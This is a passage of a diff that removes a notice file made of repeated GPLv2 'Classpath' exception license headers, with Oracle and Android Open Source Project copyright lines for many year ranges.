-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2007, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2008, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2009, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1994, 1995, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1994, 1998, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1994, 2000, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1994, 2001, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1994, 2002, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1994, 2003, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1994, 2004, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1994, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1994, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1994, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1994, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1994, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1994, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1994, 2013, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1995, 1996, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1995, 1997, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1995, 1999, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1995, 2000, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1995, 2001, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1995, 2003, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1995, 2004, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1995, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1995, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1995, 2007, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1995, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1995, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1995, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
